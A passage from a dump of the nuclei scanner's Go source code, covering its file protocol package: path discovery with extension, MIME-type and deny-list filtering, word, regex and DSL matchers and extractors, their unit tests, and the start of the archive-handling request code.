{\n\t\t\tprocessed[match] = struct{}{}\n\t\t\tcallback(match)\n\t\t}\n\t}\n\treturn nil\n}\n\n// findFileMatches finds if a path is an absolute file. If the path\n// is a file, it returns true otherwise false with no errors.\nfunc (request *Request) findFileMatches(absPath string, processed map[string]struct{}, callback func(string)) (bool, error) {\n\tinfo, err := os.Stat(absPath)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif !info.Mode().IsRegular() {\n\t\treturn false, nil\n\t}\n\tif _, ok := processed[absPath]; !ok {\n\t\tif !request.validatePath(absPath, absPath, false) {\n\t\t\treturn false, nil\n\t\t}\n\t\tprocessed[absPath] = struct{}{}\n\t\tcallback(absPath)\n\t}\n\treturn true, nil\n}\n\n// findDirectoryMatches finds matches for templates from a directory\nfunc (request *Request) findDirectoryMatches(absPath string, processed map[string]struct{}, callback func(string)) error {\n\terr := filepath.WalkDir(\n\t\tabsPath,\n\t\tfunc(path string, d fs.DirEntry, err error) error {\n\t\t\t// continue on errors\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif d.IsDir() {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif !request.validatePath(absPath, path, false) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, ok := processed[path]; !ok {\n\t\t\t\tcallback(path)\n\t\t\t\tprocessed[path] = struct{}{}\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t)\n\treturn err\n}\n\n// validatePath validates a file path for blacklist and whitelist options\nfunc (request *Request) validatePath(absPath, item string, inArchive bool) bool {\n\textension := filepath.Ext(item)\n\t// extension check\n\tif len(request.extensions) > 0 {\n\t\tif _, ok := request.extensions[extension]; ok {\n\t\t\treturn true\n\t\t} else if !request.allExtensions {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tvar (\n\t\tfileExists bool\n\t\tdataChunk  []byte\n\t)\n\tif !inArchive && request.MimeType {\n\t\t// mime type check\n\t\t// read first bytes to infer runtime type\n\t\tfileExists = fileutil.FileExists(item)\n\t\tif fileExists {\n\t\t\tdataChunk, _ = readChunk(item)\n\t\t\tif len(request.mimeTypesChecks) > 0 && matchAnyMimeTypes(dataChunk, request.mimeTypesChecks) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif matchingRule, ok := request.isInDenyList(absPath, item); ok {\n\t\tgologger.Verbose().Msgf(\"Ignoring path %s due to denylist item %s\\n\", item, matchingRule)\n\t\treturn false\n\t}\n\n\t// denied mime type checks\n\tif !inArchive && request.MimeType && fileExists {\n\t\tif len(request.denyMimeTypesChecks) > 0 && matchAnyMimeTypes(dataChunk, request.denyMimeTypesChecks) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc (request *Request) isInDenyList(absPath, item string) (string, bool) {\n\textension := filepath.Ext(item)\n\t// check for possible deny rules\n\t// - extension is in deny list\n\tif _, ok := request.denyList[extension]; ok {\n\t\treturn extension, true\n\t}\n\n\t// - full path is in deny list\n\tif _, ok := request.denyList[item]; ok {\n\t\treturn item, true\n\t}\n\n\t// file is in a forbidden subdirectory\n\tfilename := filepath.Base(item)\n\tfullPathWithoutFilename := strings.TrimSuffix(item, filename)\n\trelativePathWithFilename := strings.TrimPrefix(item, absPath)\n\trelativePath := strings.TrimSuffix(relativePathWithFilename, filename)\n\n\t// - filename is in deny list\n\tif _, ok := request.denyList[filename]; ok {\n\t\treturn filename, true\n\t}\n\n\t// - relative path is in deny list\n\tif _, ok := request.denyList[relativePath]; ok {\n\t\treturn relativePath, true\n\t}\n\n\t// relative path + filename are in the forbidden list\n\tif _, ok := request.denyList[relativePathWithFilename]; ok {\n\t\treturn relativePathWithFilename, true\n\t}\n\n\t// root path + relative path are in the forbidden list\n\tif _, ok := request.denyList[fullPathWithoutFilename]; ok {\n\t\treturn fullPathWithoutFilename, true\n\t}\n\n\t// check any progressive combined part of the relative and absolute path with filename for matches within rules prefixes\n\tif pathTreeItem, ok := request.isAnyChunkInDenyList(relativePath, false); ok {\n\t\treturn pathTreeItem, true\n\t}\n\tif pathTreeItem, ok := request.isAnyChunkInDenyList(item, true); ok {\n\t\treturn pathTreeItem, true\n\t}\n\n\treturn \"\", false\n}\n\nfunc readChunk(fileName string) ([]byte, error) {\n\tr, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer func() {\n\t\t_ = r.Close()\n\t}()\n\n\tvar buff [1024]byte\n\tif _, err = io.ReadFull(r, buff[:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buff[:], nil\n}\n\nfunc (request *Request) isAnyChunkInDenyList(path string, splitWithUtils bool) (string, bool) {\n\tvar paths []string\n\n\tif splitWithUtils {\n\t\tpathInfo, _ := folderutil.NewPathInfo(path)\n\t\tpaths, _ = pathInfo.Paths()\n\t} else {\n\t\tpathTree := strings.Split(path, string(os.PathSeparator))\n\t\tfor i := range pathTree {\n\t\t\tpaths = append(paths, filepath.Join(pathTree[:i]...))\n\t\t}\n\t}\n\tfor _, pathTreeItem := range paths {\n\t\tif _, ok := request.denyList[pathTreeItem]; ok {\n\t\t\treturn pathTreeItem, true\n\t\t}\n\t}\n\n\treturn \"\", false\n}\n"
  },
  {
    "path": "pkg/protocols/file/find_test.go",
    "content": "package file\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n)\n\nfunc TestFindInputPaths(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file\"\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"all\", \".lock\"},\n\t\tDenyList:    []string{\".go\"},\n\t\tOperators:   newMockOperator(),\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\ttempDir, err := os.MkdirTemp(\"\", \"test-*\")\n\trequire.Nil(t, err, \"could not create temporary directory\")\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tfiles := map[string]string{\n\t\t\"test.go\":           \"TEST\",\n\t\t\"config.yaml\":       \"TEST\",\n\t\t\"final.yaml\":        \"TEST\",\n\t\t\"image_ignored.png\": \"TEST\",\n\t\t\"test.js\":           \"TEST\",\n\t}\n\tfor k, v := range files {\n\t\terr = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)\n\t\trequire.Nil(t, err, \"could not write temporary file\")\n\t}\n\texpected := []string{\"config.yaml\", \"final.yaml\", \"test.js\"}\n\tgot := []string{}\n\terr = request.getInputPaths(tempDir+\"/*\", func(item string) {\n\t\tbase := filepath.Base(item)\n\t\tgot = append(got, base)\n\t})\n\trequire.Nil(t, err, \"could not get input paths for glob\")\n\trequire.ElementsMatch(t, expected, got, \"could not get correct file matches for glob\")\n\n\tgot = []string{}\n\terr = request.getInputPaths(tempDir, func(item string) {\n\t\tbase := filepath.Base(item)\n\t\tgot = append(got, base)\n\t})\n\trequire.Nil(t, err, \"could not get input paths for directory\")\n\trequire.ElementsMatch(t, expected, got, \"could not get correct file matches for directory\")\n}\n"
  },
  {
    "path": "pkg/protocols/file/operators.go",
    "content": "package file\n\nimport (\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Match matches a generic data response again a given matcher\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titemStr, ok := request.getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(itemStr))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(itemStr, nil))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(itemStr))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(itemStr)), []string{}\n\t}\n\treturn false, []string{}\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titemStr, ok := request.getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(itemStr)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.JSONExtractor:\n\t\treturn extractor.ExtractJSON(itemStr)\n\tcase extractors.XPathExtractor:\n\t\treturn extractor.ExtractXPath(itemStr)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) getMatchPart(part string, data output.InternalEvent) (string, bool) {\n\tswitch part {\n\tcase \"body\", \"all\", \"data\", \"\":\n\t\tpart = \"raw\"\n\t}\n\n\titem, ok := data[part]\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\titemStr := types.ToString(item)\n\n\treturn itemStr, true\n}\n\n// responseToDSLMap converts a file chunk elaboration to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(raw, inputFilePath, matchedFileName string) output.InternalEvent {\n\treturn output.InternalEvent{\n\t\t\"path\":          inputFilePath,\n\t\t\"matched\":       matchedFileName,\n\t\t\"raw\":           raw,\n\t\t\"type\":          request.Type().String(),\n\t\t\"template-id\":   request.options.TemplateID,\n\t\t\"template-info\": request.options.TemplateInfo,\n\t\t\"template-path\": request.options.TemplatePath,\n\t}\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\n// Deprecated: unused in stream mode, must be present for interface compatibility\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// MakeResultEventItem\n// Deprecated: unused in stream mode, must be present for interface compatibility\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tdata := &output.ResultEvent{\n\t\tMatcherStatus:    true,\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tPath:             types.ToString(wrapped.InternalEvent[\"path\"]),\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tHost:             types.ToString(wrapped.InternalEvent[\"host\"]),\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"raw\"]),\n\t\tTimestamp:        time.Now(),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n"
  },
  {
    "path": "pkg/protocols/file/operators_test.go",
    "content": "package file\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc newMockOperator() operators.Operators {\n\toperators := operators.Operators{\n\t\tMatchers: []*matchers.Matcher{\n\t\t\t{\n\t\t\t\tType: matchers.MatcherTypeHolder{\n\t\t\t\t\tMatcherType: matchers.WordsMatcher,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\treturn operators\n}\n\nfunc TestResponseToDSLMap(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file\"\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"*\", \".lock\"},\n\t\tDenyList:    []string{\".go\"},\n\t\tOperators:   newMockOperator(),\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := \"test-data\\r\\n\"\n\tevent := request.responseToDSLMap(resp, \"one.one.one.one\", \"one.one.one.one\")\n\trequire.Len(t, event, 7, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, resp, event[\"raw\"], \"could not get correct resp\")\n}\n\nfunc TestFileOperatorMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file\"\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"*\", \".lock\"},\n\t\tDenyList:    []string{\".go\"},\n\t\tOperators:   newMockOperator(),\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := \"test-data\\r\\n1.1.1.1\\r\\n\"\n\tevent := request.responseToDSLMap(resp, \"one.one.one.one\", \"one.one.one.one\")\n\trequire.Len(t, event, 7, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, resp, event[\"raw\"], \"could not get correct resp\")\n\n\tt.Run(\"valid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, matcher.Words, matched)\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:     \"raw\",\n\t\t\tType:     matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tNegative: true,\n\t\t\tWords:    []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile negative matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid negative response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"invalid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.False(t, isMatched, \"could match invalid response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"caseInsensitive\", func(t *testing.T) {\n\t\tresp := \"TEST-DATA\\r\\n1.1.1.1\\r\\n\"\n\t\tevent := request.responseToDSLMap(resp, \"one.one.one.one\", \"one.one.one.one\")\n\t\trequire.Len(t, event, 7, \"could not get correct number of items in dsl map\")\n\t\trequire.Equal(t, resp, event[\"raw\"], \"could not get correct resp\")\n\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:            \"raw\",\n\t\t\tType:            matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords:           []string{\"TeSt-DaTA\"},\n\t\t\tCaseInsensitive: true,\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, []string{\"test-data\"}, matched)\n\t})\n}\n\nfunc TestFileOperatorExtract(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file\"\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"*\", \".lock\"},\n\t\tDenyList:    []string{\".go\"},\n\t\tOperators:   newMockOperator(),\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := \"test-data\\r\\n1.1.1.1\\r\\n\"\n\tevent := request.responseToDSLMap(resp, \"one.one.one.one\", \"one.one.one.one\")\n\trequire.Len(t, event, 7, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, resp, event[\"raw\"], \"could not get correct resp\")\n\n\tt.Run(\"extract\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"1.1.1.1\": {}}, data, \"could not extract correct data\")\n\t})\n\n\tt.Run(\"kval\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal: []string{\"raw\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{resp: {}}, data, \"could not extract correct kval data\")\n\t})\n}\n\nfunc TestFileMakeResultWithOrMatcher(t *testing.T) {\n\texpectedValue := []string{\"1.1.1.1\"}\n\tnamedMatcherName := \"test\"\n\n\tfinalEvent := testFileMakeResultOperators(t, \"or\")\n\trequire.Equal(t, namedMatcherName, finalEvent.Results[0].MatcherName)\n\trequire.Equal(t, expectedValue, finalEvent.OperatorsResult.Matches[namedMatcherName], \"could not get matched value\")\n}\n\nfunc TestFileMakeResultWithAndMatcher(t *testing.T) {\n\tfinalEvent := testFileMakeResultOperators(t, \"and\")\n\trequire.Equal(t, \"\", finalEvent.Results[0].MatcherName)\n\trequire.Empty(t, finalEvent.OperatorsResult.Matches)\n}\n\nfunc testFileMakeResultOperators(t *testing.T, matcherCondition string) *output.InternalWrappedEvent {\n\texpectedValue := []string{\"1.1.1.1\"}\n\tnamedMatcherName := \"test\"\n\tmatcher := []*matchers.Matcher{\n\t\t{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: expectedValue,\n\t\t},\n\t\t{\n\t\t\tName:  namedMatcherName,\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: expectedValue,\n\t\t},\n\t}\n\n\texpectedValues := map[string][]string{\n\t\t\"word-1\":         expectedValue,\n\t\tnamedMatcherName: expectedValue,\n\t}\n\n\tfinalEvent := testFileMakeResult(t, matcher, matcherCondition, true)\n\tfor matcherName, matchedValues := range expectedValues {\n\t\tvar matchesOne = false\n\t\tfor i := 0; i <= len(expectedValue); i++ {\n\t\t\tresultEvent := finalEvent.Results[i]\n\t\t\tif matcherName == resultEvent.MatcherName {\n\t\t\t\tmatchesOne = true\n\t\t\t}\n\t\t}\n\t\trequire.True(t, matchesOne)\n\t\trequire.Equal(t, matchedValues, finalEvent.OperatorsResult.Matches[matcherName], \"could not get matched value\")\n\t}\n\n\tfinalEvent = testFileMakeResult(t, matcher, matcherCondition, false)\n\trequire.Equal(t, 1, len(finalEvent.Results))\n\treturn finalEvent\n}\n\nfunc testFileMakeResult(t *testing.T, matchers []*matchers.Matcher, matcherCondition string, isDebug bool) *output.InternalWrappedEvent {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file\"\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"*\", \".lock\"},\n\t\tDenyList:    []string{\".go\"},\n\t\tOperators: operators.Operators{\n\t\t\tMatchersCondition: matcherCondition,\n\t\t\tMatchers:          matchers,\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t}},\n\t\t},\n\t\toptions: executerOpts,\n\t}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tmatchedFileName := \"test.txt\"\n\tfileContent := \"test-data\\r\\n1.1.1.1\\r\\n\"\n\n\tevent := request.responseToDSLMap(fileContent, \"/tmp\", matchedFileName)\n\trequire.Len(t, event, 7, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, fileContent, event[\"raw\"], \"could not get correct resp\")\n\n\tfinalEvent := &output.InternalWrappedEvent{InternalEvent: event}\n\tif request.CompiledOperators != nil {\n\t\tresult, ok := request.CompiledOperators.Execute(event, request.Match, request.Extract, isDebug)\n\t\tif ok && result != nil {\n\t\t\tfinalEvent.OperatorsResult = result\n\t\t\tfinalEvent.Results = request.MakeResultEvent(finalEvent)\n\t\t}\n\t}\n\tresultEvent := finalEvent.Results[0]\n\trequire.Equal(t, \"1.1.1.1\", resultEvent.ExtractedResults[0], \"could not get correct extracted results\")\n\trequire.Equal(t, matchedFileName, resultEvent.Matched, \"could not get matched value\")\n\n\treturn finalEvent\n}\n"
  },
  {
    "path": "pkg/protocols/file/request.go",
    "content": "package file\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"maps\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/docker/go-units\"\n\t\"github.com/mholt/archives\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nvar _ protocols.Request = &Request{}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.FileProtocol\n}\n\ntype FileMatch struct {\n\tData      string\n\tLine      int\n\tByteIndex int\n\tMatch     bool\n\tExtract   bool\n\tExpr      string\n\tRaw       string\n}\n\nvar errEmptyResult = errors.New(\"Empty result\")\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\twg, err := syncutil.New(syncutil.WithSize(request.options.Options.BulkSize))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif input.MetaInput.Input == \"\" {\n\t\treturn errors.New(\"input cannot be empty file or folder expected\")\n\t}\n\terr = request.getInputPaths(input.MetaInput.Input, func(filePath string) {\n\t\twg.Add()\n\t\tgo func(filePath string) {\n\t\t\tdefer wg.Done()\n\t\t\tfi, err := os.Open(filePath)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\t_ = fi.Close()\n\t\t\t}()\n\t\t\tformat, stream, _ := archives.Identify(input.Context(), filePath, fi)\n\t\t\tswitch {\n\t\t\tcase format != nil:\n\t\t\t\tswitch archiveInstance := format.(type) {\n\t\t\t\tcase archives.Extractor:\n\t\t\t\t\terr := archiveInstance.Extract(input.Context(), stream, func(ctx context.Context, file archives.FileInfo) error {\n\t\t\t\t\t\tif !request.validatePath(\"/\", file.Name(), true) {\n\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// every new file in the compressed multi-file archive counts 1\n\t\t\t\t\t\trequest.options.Progress.AddToTotal(1)\n\t\t\t\t\t\tarchiveFileName := filepath.Join(filePath, file.Name())\n\t\t\t\t\t\treader, err := file.Open()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdefer func() {\n\t\t\t\t\t\t\t_ = reader.Close()\n\t\t\t\t\t\t}()\n\t\t\t\t\t\tevent, fileMatches, err := request.processReader(reader, archiveFileName, input, file.Size(), previous)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tif errors.Is(err, errEmptyResult) {\n\t\t\t\t\t\t\t\t// no matches but one file elaborated\n\t\t\t\t\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t\t// error while elaborating the file\n\t\t\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdumpResponse(event, request.options, fileMatches, filePath)\n\t\t\t\t\t\tcallback(event)\n\t\t\t\t\t\t// file elaborated and matched\n\t\t\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\tcase archives.Decompressor:\n\t\t\t\t\t// compressed archive - contains only one file => increments the counter by 1\n\t\t\t\t\trequest.options.Progress.AddToTotal(1)\n\t\t\t\t\treader, err := archiveInstance.OpenReader(stream)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t// error while elaborating the 